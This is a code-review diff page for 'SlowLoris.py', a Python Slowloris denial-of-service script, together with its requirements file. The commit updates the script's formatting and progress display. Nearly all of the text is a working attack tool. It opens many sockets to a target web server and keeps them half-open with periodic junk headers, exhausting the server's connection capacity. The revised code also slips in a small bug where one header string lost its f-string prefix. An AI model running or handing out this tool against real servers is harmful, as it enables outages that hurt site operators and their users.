Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 14 additions & 14 deletions SlowLoris.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,58 +1,58 @@
#usr/bin/env python
#usr/bin/env python3

import sys
import random
import socket
import time
from progress.bar import Bar
from termcolor import cprint
from tqdm import tqdm

regular_headers = [ "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Accept-language: en-US,en,q=0.5"]
"Accept-language: en-US,en,q=0.5" ]

def init_socket(ip,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((ip,int(port)))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('UTF-8'))
s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\r\n".encode('UTF-8'))

for header in regular_headers:
s.send('{}\r\n'.format(header).encode('UTF-8'))
s.send(f'{header}\r\n'.encode('UTF-8'))

return s

def main():
if len(sys.argv)<5:
print(("Usage: {} example.com 80 100 10".format(sys.argv[0])))
print(f"Usage: {sys.argv[0]} example.com 80(target port) 100(socker_count) 10(time_between_successive keep-alive requests)")
return

ip = sys.argv[1]
port = sys.argv[2]
socket_count= int(sys.argv[3])
bar = Bar('\033[1;32;40m Creating Sockets...', max=socket_count)
cprint('Creating Sockets...',"yellow")
timer = int(sys.argv[4])
socket_list=[]

for _ in range(int(socket_count)):
for i in tqdm(range(int(socket_count))):
try:
s=init_socket(ip,port)
except socket.error:
break
socket_list.append(s)
next(bar)

bar.finish()
print()

while True:
print(("\033[0;37;40m Sending Keep-Alive Headers to {}".format(len(socket_list))))
cprint(f"Sending Keep-Alive Headers to {len(socket_list)} connections","magenta")

for s in socket_list:
try:
s.send("X-a {}\r\n".format(random.randint(1,5000)).encode('UTF-8'))
s.send("X-a {random.randint(1,5000)}\r\n".encode('UTF-8'))
except socket.error:
socket_list.remove(s)

for _ in range(socket_count - len(socket_list)):
print(("\033[1;34;40m {}Re-creating Socket...".format("\n")))
cprint("Re-creating Socket...","red")
try:
s=init_socket(ip,port)
if s:
Expand All @@ -63,4 +63,4 @@ def main():
time.sleep(timer)

if __name__=="__main__":
main()
main()
3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1 +1,2 @@
progress==1.4
termcolor
tqdm